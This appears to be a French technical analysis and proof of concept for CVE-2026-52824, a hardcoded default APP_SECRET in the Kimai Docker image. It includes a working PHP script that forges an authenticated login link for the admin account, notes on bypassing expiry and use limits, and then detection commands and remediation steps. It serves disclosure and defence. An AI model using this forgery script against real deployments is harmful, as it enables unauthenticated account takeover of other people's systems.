
Analyse technique et PoC de CVE-2026-52824 : APP_SECRET par défaut dans l'image Docker Kimai permettant la falsification de liens de connexion sans authentification. Affecte <= 2.57.0, corrigé dans 2.58.0.
| Champ | Valeur |
|---|
| CVE | CVE-2026-52824 |
| Avis | GHSA-jr9p-4h4j-6c58 |
| Sévérité | Critique |
| CWE | CWE-1188, Initialisation d'une ressource avec une valeur par défaut non sécurisée |
| Affecté | kimai/kimai <= 2.57.0 |
| Corrigé | 2.58.0 |
| Avis publié | 2026-06-11 |
| Ajout à la base de données des avis GitHub | 2026-07-14 |
| Signaleur | AzureADTrent |
L'image Docker officielle de Kimai était fournie avec un APP_SECRET codé en dur. Cette valeur devient le kernel.secret de Symfony, qui signe les liens de connexion, les cookies de mémorisation, les URL de réinitialisation de mot de passe et les jetons CSRF. Étant donné que la signature du lien de connexion de Kimai ne couvrait que l'id de l'utilisateur, un attaquant non authentifié connaissant le secret pouvait calculer un lien de connexion valide hors ligne et s'authentifier en tant que n'importe quel utilisateur.
Dockerfile:263 définissait :
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 l'utilise comme kernel.secret :
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh n'effectuait aucune vérification de la valeur sentinelle, et .env.dist:38 était livré avec la même valeur par défaut pour les installations bare-metal. Aucune protection au démarrage ne refusait de lancer l'application avec la valeur par défaut.
Tout déploiement Docker ne remplaçant pas explicitement APP_SECRET s'exécutait donc avec une clé de signature publiquement connue.
Kimai consomme le lien de connexion à l'adresse /en/auth/link/check avec les paramètres user, expires et hash. Le hash est le HMAC de 44 caractères concaténé directement avec le hash des champs de 44 caractères, conformément à acceptSignatureHash(), qui effectue la découpe à l'offset 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Une requête réussie renvoie un code 302 et définit un cookie KIMAI_REMEMBER pour le compte cible.
expires est inclus dans le HMAC et est contrôlé par l'attaquant, et la validation ne rejette que les horodatages déjà passés — verifySignatureHash() teste $expires < time() et rien d'autre. Le lifetime: 900 configuré ne régit que la génération du lien et n'est jamais consulté lors de la validation ; un lien forgé peut donc porter une expiration arbitrairement lointaine.
max_uses: 3 est tout aussi inutile. Il limite la réutilisation d'un lien émis ; un attaquant en génère un nouveau à chaque tentative.
L'avis liste trois conditions préalables : le nom d'utilisateur est connu, l'ID de compte correct est deviné, et le compte n'a pas de 2FA active.
En pratique, ces conditions sont faibles. Les ID utilisateur sont séquentiels à partir de 1, le premier super_admin est normalement l'ID 1, et chaque tentative est un simple GET non authentifié. L'espace des noms d'utilisateur et des ID peut être parcouru en force. L'authentification à deux facteurs est la seule condition qui bloque réellement l'attaque.
Vérifications locales :
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Un APP_SECRET sentinelle sans fichier .appsecret présent indique un déploiement vulnérable.
Mettez à niveau vers 2.58.0 ou une version ultérieure. Le correctif :
APP_SECRET par défaut du Dockerfilebin2hex(random_bytes(32)), le stocke dans /opt/kimai/var/data/.appsecret et l'écrit dans /opt/kimai/.env.localSi vous ne pouvez pas mettre à niveau immédiatement, définissez explicitement un secret unique à haute entropie :
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
La rotation de APP_SECRET invalide les cookies de mémorisation existants, les liens de réinitialisation de mot de passe en attente et les jetons CSRF en cours ; les utilisateurs devront se reconnecter. La rotation et l'invalidation de session peuvent être effectuées sans risque, que l'exposition soit confirmée ou non. Les opérateurs qui ne peuvent pas déterminer leur état devraient procéder à la rotation plutôt que de supposer.
projectdiscovery/nuclei-templatesCette analyse a été retenue jusqu'à ce que le mécanisme soit rendu public indépendamment.